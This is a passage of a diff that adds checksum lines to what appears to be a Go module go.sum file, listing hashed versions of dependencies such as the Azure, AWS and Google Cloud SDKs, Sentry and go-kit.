+cloud.google.com/go/pubsub v1.3.1/go.mod h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU=
+cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw=
+cloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos=
+cloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk=
+cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs=
+cloud.google.com/go/storage v1.9.0 h1:oXnZyBjHB6hC8TnSle0AWW6pGJ29EuSo5ww+SFmdNBg=
+cloud.google.com/go/storage v1.9.0/go.mod h1:m+/etGaqZbylxaNT876QGXqEHp4PR2Rq5GMqICWb9bU=
+contrib.go.opencensus.io/exporter/aws v0.0.0-20181029163544-2befc13012d0/go.mod h1:uu1P0UCM/6RbsMrgPa98ll8ZcHM858i/AD06a9aLRCA=
+contrib.go.opencensus.io/exporter/stackdriver v0.12.1/go.mod h1:iwB6wGarfphGGe/e5CWqyUk/cLzKnWsOKPVW3no6OTw=
+contrib.go.opencensus.io/integrations/ocsql v0.1.4/go.mod h1:8DsSdjz3F+APR+0z0WkU1aRorQCFfRxvqjUUPMbF3fE=
+contrib.go.opencensus.io/resource v0.1.1/go.mod h1:F361eGI91LCmW1I/Saf+rX0+OFcigGlFvXwEGEnkRLA=
+dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU=
+github.com/AndreasBriese/bbloom v0.0.0-20190306092124-e2d15f34fcf9/go.mod h1:bOvUY6CB00SOBii9/FifXqc0awNKxLFCL/+pkDPuyl8=
+github.com/Azure/azure-amqp-common-go/v3 v3.0.0/go.mod h1:SY08giD/XbhTz07tJdpw1SoxQXHPN30+DI3Z04SYqyg=
+github.com/Azure/azure-pipeline-go v0.2.1/go.mod h1:UGSo8XybXnIGZ3epmeBw7Jdz+HiUVpqIlpz/HKHylF4=
+github.com/Azure/azure-pipeline-go v0.2.2 h1:6oiIS9yaG6XCCzhgAgKFfIWyo4LLCiDhZot6ltoThhY=
+github.com/Azure/azure-pipeline-go v0.2.2/go.mod h1:4rQ/NZncSvGqNkkOsNpOU1tgoNuIlp9AfUH5G1tvCHc=
+github.com/Azure/azure-sdk-for-go v37.1.0+incompatible/go.mod h1:9XXNKU+eRnpl9moKnB4QOLf1HestfXbmab5FXxiDBjc=
+github.com/Azure/azure-service-bus-go v0.10.1/go.mod h1:E/FOceuKAFUfpbIJDKWz/May6guE+eGibfGT6q+n1to=
+github.com/Azure/azure-storage-blob-go v0.9.0/go.mod h1:8UBPbiOhrMQ4pLPi3gA1tXnpjrS76UYE/fo5A40vf4g=
+github.com/Azure/azure-storage-blob-go v0.10.0 h1:evCwGreYo3XLeBV4vSxLbLiYb6e0SzsJiXQVRGsRXxs=
+github.com/Azure/azure-storage-blob-go v0.10.0/go.mod h1:ep1edmW+kNQx4UfWM9heESNmQdijykocJ0YOxmMX8SE=
+github.com/Azure/go-amqp v0.12.6/go.mod h1:qApuH6OFTSKZFmCOxccvAv5rLizBQf4v8pRmG138DPo=
+github.com/Azure/go-amqp v0.12.7/go.mod h1:qApuH6OFTSKZFmCOxccvAv5rLizBQf4v8pRmG138DPo=
+github.com/Azure/go-autorest/autorest v0.9.0/go.mod h1:xyHB1BMZT0cuDHU7I0+g046+BFDTQ8rEZB0s4Yfa6bI=
+github.com/Azure/go-autorest/autorest v0.9.3 h1:OZEIaBbMdUE/Js+BQKlpO81XlISgipr6yDJ+PSwsgi4=
+github.com/Azure/go-autorest/autorest v0.9.3/go.mod h1:GsRuLYvwzLjjjRoWEIyMUaYq8GNUx2nRB378IPt/1p0=
+github.com/Azure/go-autorest/autorest/adal v0.5.0/go.mod h1:8Z9fGy2MpX0PvDjB1pEgQTmVqjGhiHBW7RJJEciWzS0=
+github.com/Azure/go-autorest/autorest/adal v0.8.0/go.mod h1:Z6vX6WXXuyieHAXwMj0S6HY6e6wcHn37qQMBQlvY3lc=
+github.com/Azure/go-autorest/autorest/adal v0.8.1/go.mod h1:ZjhuQClTqx435SRJ2iMlOxPYt3d2C/T/7TiQCVZSn3Q=
+github.com/Azure/go-autorest/autorest/adal v0.8.3 h1:O1AGG9Xig71FxdX9HO5pGNyZ7TbSyHaVg+5eJO/jSGw=
+github.com/Azure/go-autorest/autorest/adal v0.8.3/go.mod h1:ZjhuQClTqx435SRJ2iMlOxPYt3d2C/T/7TiQCVZSn3Q=
+github.com/Azure/go-autorest/autorest/azure/auth v0.4.2 h1:iM6UAvjR97ZIeR93qTcwpKNMpV+/FTWjwEbuPD495Tk=
+github.com/Azure/go-autorest/autorest/azure/auth v0.4.2/go.mod h1:90gmfKdlmKgfjUpnCEpOJzsUEjrWDSLwHIG73tSXddM=
+github.com/Azure/go-autorest/autorest/azure/cli v0.3.1 h1:LXl088ZQlP0SBppGFsRZonW6hSvwgL5gRByMbvUbx8U=
+github.com/Azure/go-autorest/autorest/azure/cli v0.3.1/go.mod h1:ZG5p860J94/0kI9mNJVoIoLgXcirM2gF5i2kWloofxw=
+github.com/Azure/go-autorest/autorest/date v0.1.0/go.mod h1:plvfp3oPSKwf2DNjlBjWF/7vwR+cUD/ELuzDCXwHUVA=
+github.com/Azure/go-autorest/autorest/date v0.2.0 h1:yW+Zlqf26583pE43KhfnhFcdmSWlm5Ew6bxipnr/tbM=
+github.com/Azure/go-autorest/autorest/date v0.2.0/go.mod h1:vcORJHLJEh643/Ioh9+vPmf1Ij9AEBM5FuBIXLmIy0g=
+github.com/Azure/go-autorest/autorest/mocks v0.1.0/go.mod h1:OTyCOPRA2IgIlWxVYxBee2F5Gr4kF2zd2J5cFRaIDN0=
+github.com/Azure/go-autorest/autorest/mocks v0.2.0/go.mod h1:OTyCOPRA2IgIlWxVYxBee2F5Gr4kF2zd2J5cFRaIDN0=
+github.com/Azure/go-autorest/autorest/mocks v0.3.0 h1:qJumjCaCudz+OcqE9/XtEPfvtOjOmKaui4EOpFI6zZc=
+github.com/Azure/go-autorest/autorest/mocks v0.3.0/go.mod h1:a8FDP3DYzQ4RYfVAxAN3SVSiiO77gL2j2ronKKP0syM=
+github.com/Azure/go-autorest/autorest/to v0.3.0/go.mod h1:MgwOyqaIuKdG4TL/2ywSsIWKAfJfgHDo8ObuUk3t5sA=
+github.com/Azure/go-autorest/autorest/validation v0.2.0/go.mod h1:3EEqHnBxQGHXRYq3HT1WyXAvT7LLY3tl70hw6tQIbjI=
+github.com/Azure/go-autorest/logger v0.1.0 h1:ruG4BSDXONFRrZZJ2GUXDiUyVpayPmb1GnWeHDdaNKY=
+github.com/Azure/go-autorest/logger v0.1.0/go.mod h1:oExouG+K6PryycPJfVSxi/koC6LSNgds39diKLz7Vrc=
+github.com/Azure/go-autorest/tracing v0.5.0 h1:TRn4WjSnkcSy5AEG3pnbtFSwNtwzjr4VYyQflFE619k=
+github.com/Azure/go-autorest/tracing v0.5.0/go.mod h1:r/s2XiOKccPW3HrqB+W0TQzfbtp2fGCgRFtBroKn4Dk=
+github.com/BurntSushi/toml v0.3.1 h1:WXkYYl6Yr3qBf1K79EBnL4mak0OimBfB0XUf9Vl28OQ=
+github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
+github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
+github.com/CloudyKit/fastprinter v0.0.0-20170127035650-74b38d55f37a/go.mod h1:EFZQ978U7x8IRnstaskI3IysnWY5Ao3QgZUKOXlsAdw=
+github.com/CloudyKit/jet v2.1.3-0.20180809161101-62edd43e4f88+incompatible/go.mod h1:HPYO+50pSWkPoj9Q/eq0aRGByCL6ScRlUmiEX5Zgm+w=
+github.com/FZambia/sentinel v1.0.0 h1:KJ0ryjKTZk5WMp0dXvSdNqp3lFaW1fNFuEYfrkLOYIc=
+github.com/FZambia/sentinel v1.0.0/go.mod h1:ytL1Am/RLlAoAXG6Kj5LNuw/TRRQrv2rt2FT26vP5gI=
+github.com/GoogleCloudPlatform/cloudsql-proxy v0.0.0-20191009163259-e802c2cb94ae/go.mod h1:mjwGPas4yKduTyubHvD1Atl9r1rUq8DfVy+gkVvZ+oo=
+github.com/Joker/hpp v1.0.0/go.mod h1:8x5n+M1Hp5hC0g8okX3sR3vFQwynaX/UgSOM9MeBKzY=
+github.com/Joker/jade v1.0.1-0.20190614124447-d475f43051e7/go.mod h1:6E6s8o2AE4KhCrqr6GRJjdC/gNfTdxkIXvuGZZda2VM=
+github.com/Knetic/govaluate v3.0.1-0.20171022003610-9aa49832a739+incompatible/go.mod h1:r7JcOSlj0wfOMncg0iLm8Leh48TZaKVeNIfJntJ2wa0=
+github.com/Shopify/goreferrer v0.0.0-20181106222321-ec9c9a553398/go.mod h1:a1uqRtAwp2Xwc6WNPJEufxJ7fx3npB4UV/JOLmbu5I0=
+github.com/Shopify/sarama v1.19.0/go.mod h1:FVkBWblsNy7DGZRfXLU0O9RCGt5g3g3yEuWXgklEdEo=
+github.com/Shopify/toxiproxy v2.1.4+incompatible/go.mod h1:OXgGpZ6Cli1/URJOF1DMxUHB2q5Ap20/P/eIdh4G0pI=
+github.com/VividCortex/gohistogram v1.0.0/go.mod h1:Pf5mBqqDxYaXu3hDrrU+w6nw50o/4+TcAqDqk/vUH7g=
+github.com/afex/hystrix-go v0.0.0-20180502004556-fa1af6a1f4f5/go.mod h1:SkGFH1ia65gfNATL8TAiHDNxPzPdmEL5uirI2Uyuz6c=
+github.com/ajg/form v1.5.1/go.mod h1:uL1WgH+h2mgNtvBq0339dVnzXdBETtL2LeUXaIv25UY=
+github.com/alecthomas/assert v0.0.0-20170929043011-405dbfeb8e38 h1:smF2tmSOzy2Mm+0dGI2AIUHY+w0BUc+4tn40djz7+6U=
+github.com/alecthomas/assert v0.0.0-20170929043011-405dbfeb8e38/go.mod h1:r7bzyVFMNntcxPZXK3/+KdruV1H5KSlyVY0gc+NgInI=
+github.com/alecthomas/chroma v0.7.3 h1:NfdAERMy+esYQs8OXk0I868/qDxxCEo7FMz1WIqMAeI=
+github.com/alecthomas/chroma v0.7.3/go.mod h1:sko8vR34/90zvl5QdcUdvzL3J8NKjAUx9va9jPuFNoM=
+github.com/alecthomas/colour v0.0.0-20160524082231-60882d9e2721 h1:JHZL0hZKJ1VENNfmXvHbgYlbUOvpzYzvy2aZU5gXVeo=
+github.com/alecthomas/colour v0.0.0-20160524082231-60882d9e2721/go.mod h1:QO9JBoKquHd+jz9nshCh40fOfO+JzsoXy8qTHF68zU0=
+github.com/alecthomas/kong v0.2.4/go.mod h1:kQOmtJgV+Lb4aj+I2LEn40cbtawdWJ9Y8QLq+lElKxE=
+github.com/alecthomas/repr v0.0.0-20180818092828-117648cd9897 h1:p9Sln00KOTlrYkxI1zYWl1QLnEqAqEARBEYa8FQnQcY=
+github.com/alecthomas/repr v0.0.0-20180818092828-117648cd9897/go.mod h1:xTS7Pm1pD1mvyM075QCDSRqH6qRLXylzS24ZTpRiSzQ=
+github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc=
+github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc=
+github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=
+github.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=
+github.com/alecthomas/units v0.0.0-20190924025748-f65c72e2690d/go.mod h1:rBZYJk541a8SKzHPHnH3zbiI+7dagKZ0cgpgrD7Fyho=
+github.com/apache/thrift v0.12.0/go.mod h1:cp2SuWMxlEZw2r+iP2GNCdIi4C1qmUzdZFSVb+bacwQ=
+github.com/apache/thrift v0.13.0/go.mod h1:cp2SuWMxlEZw2r+iP2GNCdIi4C1qmUzdZFSVb+bacwQ=
+github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o=
+github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5doyWs3UAsr3K4I6qtAmlQcZDesFNEHPZAzj8=
+github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY=
+github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8=
+github.com/aryann/difflib v0.0.0-20170710044230-e206f873d14a/go.mod h1:DAHtR1m6lCRdSC2Tm3DSWRPvIPr6xNKyeHdqDQSQT+A=
+github.com/aws/aws-lambda-go v1.13.3/go.mod h1:4UKl9IzQMoD+QF79YdCuzCwp8VbmG4VAQwij/eHl5CU=
+github.com/aws/aws-sdk-go v1.15.27/go.mod h1:mFuSZ37Z9YOHbQEwBWztmVzqXrEkub65tZoCYDt7FT0=
+github.com/aws/aws-sdk-go v1.17.4/go.mod h1:KmX6BPdI08NWTb3/sm4ZGu5ShLoqVDhKgpiN924inxo=
+github.com/aws/aws-sdk-go v1.19.18/go.mod h1:KmX6BPdI08NWTb3/sm4ZGu5ShLoqVDhKgpiN924inxo=
+github.com/aws/aws-sdk-go v1.27.0/go.mod h1:KmX6BPdI08NWTb3/sm4ZGu5ShLoqVDhKgpiN924inxo=
+github.com/aws/aws-sdk-go v1.31.13 h1:UeWMTRTL0XAKLR7vxDL4/u7KOtz/LtfJr+lXtxN4YEQ=
+github.com/aws/aws-sdk-go v1.31.13/go.mod h1:5zCpMtNQVjRREroY7sYe8lOMRSxkhG6MZveU8YkpAk0=
+github.com/aws/aws-sdk-go-v2 v0.18.0/go.mod h1:JWVYvqSMppoMJC0x5wdwiImzgXTI9FuZwxzkQq9wy+g=
+github.com/aymerick/raymond v2.0.3-0.20180322193309-b565731e1464+incompatible/go.mod h1:osfaiScAUVup+UC9Nfq76eWqDhXlp+4UYaA8uhTBO6g=
+github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q=
+github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8=
+github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=
+github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
+github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs=
+github.com/boltdb/bolt v1.3.1/go.mod h1:clJnj/oiGkjum5o1McbSZDSLxVThjynRyGBgiAx27Ps=
+github.com/casbin/casbin/v2 v2.1.2/go.mod h1:YcPU1XXisHhLzuxH9coDNf2FbKpjGlbCg3n9yuLkIJQ=
+github.com/cenkalti/backoff v2.2.1+incompatible/go.mod h1:90ReRw6GdpyfrHakVjL/QHaoyV4aDUVVkXQJJJ3NXXM=
+github.com/census-instrumentation/opencensus-proto v0.2.0/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
+github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
+github.com/certifi/gocertifi v0.0.0-20180905225744-ee1a9a0726d2/go.mod h1:GJKEexRPVJrBSOjoqN5VNOIKJ5Q3RViH6eu3puDRwx4=
+github.com/certifi/gocertifi v0.0.0-20200922220541-2c3bb06c6054 h1:uH66TXeswKn5PW5zdZ39xEwfS9an067BirqA+P4QaLI=
+github.com/certifi/gocertifi v0.0.0-20200922220541-2c3bb06c6054/go.mod h1:sGbDF6GwGcLpkNXPUTkMRoywsNa/ol15pxFe6ERfguA=
+github.com/cespare/xxhash/v2 v2.1.1 h1:6MnRN8NT7+YBpUIWxHtefFZOKTAPgGjpQSxqLNn0+qY=
+github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
+github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=
+github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI=
+github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU=
+github.com/clbanning/x2j v0.0.0-20191024224557-825249438eec/go.mod h1:jMjuTZXRI4dUb/I5gc9Hdhagfvm9+RyrPryS/auMzxE=
+github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
+github.com/client9/reopen v1.0.0 h1:8tpLVR74DLpLObrn2KvsyxJY++2iORGR17WLUdSzUws=
+github.com/client9/reopen v1.0.0/go.mod h1:caXVCEr+lUtoN1FlsRiOWdfQtdRHIYfcb0ai8qKWtkQ=
+github.com/cloudflare/tableflip v1.2.1-0.20200514155827-4baec9811f2b/go.mod h1:vhhSlJqV8uUnxGkRSgyvGthfGlkAwJ4UuSV51fSrCQY=
+github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc=
+github.com/cockroachdb/datadriven v0.0.0-20190809214429-80d97fb3cbaa/go.mod h1:zn76sxSg3SzpJ0PPJaLDCu+Bu0Lg3sKTORVIj19EIF8=
+github.com/codahale/hdrhistogram v0.0.0-20161010025455-3a0bb77429bd h1:qMd81Ts1T2OTKmB4acZcyKaMtRnY5Y44NuXGX2GFJ1w=
+github.com/codahale/hdrhistogram v0.0.0-20161010025455-3a0bb77429bd/go.mod h1:sE/e/2PUdi/liOCUjSTXgM1o87ZssimdTWN964YiIeI=
+github.com/codegangsta/inject v0.0.0-20150114235600-33e0aa1cb7c0/go.mod h1:4Zcjuz89kmFXt9morQgcfYZAYZ5n8WHjt81YYWIwtTM=
+github.com/coreos/etcd v3.3.10+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE=
+github.com/coreos/go-etcd v2.0.0+incompatible/go.mod h1:Jez6KQU2B/sWsbdaef3ED8NzMklzPG4d5KIOhIy30Tk=
+github.com/coreos/go-semver v0.2.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk=
+github.com/coreos/go-systemd v0.0.0-20180511133405-39ca1b05acc7/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4=
+github.com/coreos/pkg v0.0.0-20160727233714-3ac0863d7acf/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA=
+github.com/cpuguy83/go-md2man v1.0.10/go.mod h1:SmD6nW6nTyfqj6ABTjUi3V3JVMnlJmwcJI5acqYI6dE=
+github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
+github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY=
+github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 h1:y5HC9v93H5EPKqaS1UYVg1uYah5Xf51mBfIoWehClUQ=
+github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964/go.mod h1:Xd9hchkHSWYkEqJwUGisez3G1QY8Ryz0sdWrLPMGjLk=
+github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
+github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/denisenkom/go-mssqldb v0.0.0-20191001013358-cfbb681360f0/go.mod h1:xbL0rPBG9cCiLr28tMa8zpbdarY27NDyej4t/EjAShU=
+github.com/devigned/tab v0.1.1/go.mod h1:XG9mPq0dFghrYvoBF3xdRrJzSTX1b7IQrvaL9mzjeJY=
+github.com/dgraph-io/badger v1.6.0/go.mod h1:zwt7syl517jmP8s94KqSxTlM6IMsdhYy6psNgSztDR4=
+github.com/dgrijalva/jwt-go v3.2.0+incompatible h1:7qlOGliEKZXTDg6OTjfoBKDXWrumCAMpl/TFQ4/5kLM=
+github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ=
+github.com/dgryski/go-farm v0.0.0-20190423205320-6a90982ecee2/go.mod h1:SqUrOPUnsFjfmXRMNPybcSiG0BgUW2AuFH8PAnS2iTw=
+github.com/dimchansky/utfbom v1.1.0 h1:FcM3g+nofKgUteL8dm/UpdRXNC9KmADgTpLKsu0TRo4=
+github.com/dimchansky/utfbom v1.1.0/go.mod h1:rO41eb7gLfo8SF1jd9F8HplJm1Fewwi4mQvIirEdv+8=
+github.com/disintegration/imaging v1.6.2 h1:w1LecBlG2Lnp8B3jk5zSuNqd7b4DXhcjwek1ei82L+c=
+github.com/disintegration/imaging v1.6.2/go.mod h1:44/5580QXChDfwIclfc/PCwrr44amcmDAg8hxG0Ewe4=
+github.com/dlclark/regexp2 v1.2.0 h1:8sAhBGEM0dRWogWqWyQeIJnxjWO6oIjl8FKqREDsGfk=
+github.com/dlclark/regexp2 v1.2.0/go.mod h1:2pZnwuY/m+8K6iRw6wQdMtk+rH5tNGR1i55kozfMjCc=
+github.com/dustin/go-humanize v0.0.0-20171111073723-bb3d318650d4/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk=
+github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk=
+github.com/eapache/go-resiliency v1.1.0/go.mod h1:kFI+JgMyC7bLPUVY133qvEBtVayf5mFgVsvEsIPBvNs=
+github.com/eapache/go-xerial-snappy v0.0.0-20180814174437-776d5712da21/go.mod h1:+020luEh2TKB4/GOp8oxxtq0Daoen/Cii55CzbTV6DU=
+github.com/eapache/queue v1.1.0/go.mod h1:6eCeP0CKFpHLu8blIFXhExK/dRa7WDZfr6jVFPTqq+I=
+github.com/edsrzf/mmap-go v1.0.0/go.mod h1:YO35OhQPt3KJa3ryjFM5Bs14WD66h8eGKpfaBNrHW5M=
+github.com/eknkc/amber v0.0.0-20171010120322-cdade1c07385/go.mod h1:0vRUJqYpeSZifjYj7uP3BG/gKcuzL9xWVV/Y+cK33KM=
+github.com/envoyproxy/go-control-plane v0.6.9/go.mod h1:SBwIajubJHhxtWwsL9s8ss4safvEdbitLhGGK48rN6g=
+github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
+github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
+github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
+github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=
+github.com/etcd-io/bbolt v1.3.3/go.mod h1:ZF2nL25h33cCyBtcyWeZ2/I3HQOfTP+0PIEvHjkjCrw=
+github.com/fasthttp-contrib/websocket v0.0.0-20160511215533-1f3b11f56072/go.mod h1:duJ4Jxv5lDcvg4QuQr0oowTf7dz4/CR8NtyCooz9HL8=
+github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
+github.com/fatih/structs v1.1.0/go.mod h1:9NiDSp5zOcgEDl+j00MP/WkGVPOlPRLejGD8Ga6PJ7M=
+github.com/flosch/pongo2 v0.0.0-20190707114632-bbf5a6c351f4/go.mod h1:T9YF2M40nIgbVgp3rreNmTged+9HrbNTIQf1PsaIiTA=
+github.com/fortytw2/leaktest v1.3.0/go.mod h1:jDsjWgpAGjm2CA7WthBh/CdZYEPF31XHquHwclZch5g=
+github.com/franela/goblin v0.0.0-20200105215937-c9ffbefa60db/go.mod h1:7dvUGVsVBjqR7JHJk0brhHOZYGmfBYOrK0ZhYMEtBr4=
+github.com/franela/goreq v0.0.0-20171204163338-bcd34c9993f8/go.mod h1:ZhphrRTfi2rbfLwlschooIH4+wKKDR4Pdxhh+TRoA20=
+github.com/fsnotify/fsnotify v1.4.7 h1:IXs+QLmnXW2CcXuY+8Mzv/fWEsPGWxqefPtCP5CnV9I=
+github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
+github.com/gavv/httpexpect v2.0.0+incompatible/go.mod h1:x+9tiU1YnrOvnB725RkpoLv1M62hOWzwo5OXotisrKc=
+github.com/getsentry/raven-go v0.1.0/go.mod h1:KungGk8q33+aIAZUIVWZDr2OfAEBsO49PX4NzFV5kcQ=
+github.com/getsentry/raven-go v0.2.0 h1:no+xWJRb5ZI7eE8TWgIq1jLulQiIoLG0IfYxv5JYMGs=
+github.com/getsentry/raven-go v0.2.0/go.mod h1:KungGk8q33+aIAZUIVWZDr2OfAEBsO49PX4NzFV5kcQ=
+github.com/getsentry/sentry-go v0.5.1/go.mod h1:B8H7x8TYDPkeWPRzGpIiFO97LZP6rL8A3hEt8lUItMw=
+github.com/getsentry/sentry-go v0.7.0 h1:MR2yfR4vFfv/2+iBuSnkdQwVg7N9cJzihZ6KJu7srwQ=
+github.com/getsentry/sentry-go v0.7.0/go.mod h1:pLFpD2Y5RHIKF9Bw3KH6/68DeN2K/XBJd8awjdPnUwg=
+github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04=
+github.com/gin-contrib/sse v0.0.0-20190301062529-5545eab6dad3/go.mod h1:VJ0WA2NBN22VlZ2dKZQPAPnyWw5XTlK1KymzLKsr59s=
+github.com/gin-gonic/gin v1.4.0/go.mod h1:OW2EZn3DO8Ln9oIKOvM++LBO+5UPHJJDH72/q/3rZdM=
+github.com/go-check/check v0.0.0-20180628173108-788fd7840127/go.mod h1:9ES+weclKsC9YodN5RgxqK/VD9HM9JsCSh7rNhMZE98=
+github.com/go-errors/errors v1.0.1 h1:LUHzmkK3GUKUrL/1gfBUxAHzcev3apQlezX/+O7ma6w=
+github.com/go-errors/errors v1.0.1/go.mod h1:f4zRHt4oKfwPJE5k8C9vpYG+aDHdBFUsgrm6/TyX73Q=
+github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU=
+github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=
+github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=
+github.com/go-ini/ini v1.25.4/go.mod h1:ByCAeIL28uOIIG0E3PJtZPDL8WnHpFKFOtgjp+3Ies8=
+github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=
+github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=
+github.com/go-kit/kit v0.10.0/go.mod h1:xUsJbQ/Fp4kEt7AFgCuvyX4a71u8h9jB8tj/ORgOZ7o=
+github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE=
+github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk=
+github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A=
+github.com/go-martini/martini v0.0.0-20170121215854-22fa46961aab/go.mod h1:/P9AEU963A2AYjv4d1V5eVL1CQbEJq6aCNHDDjibzu8=
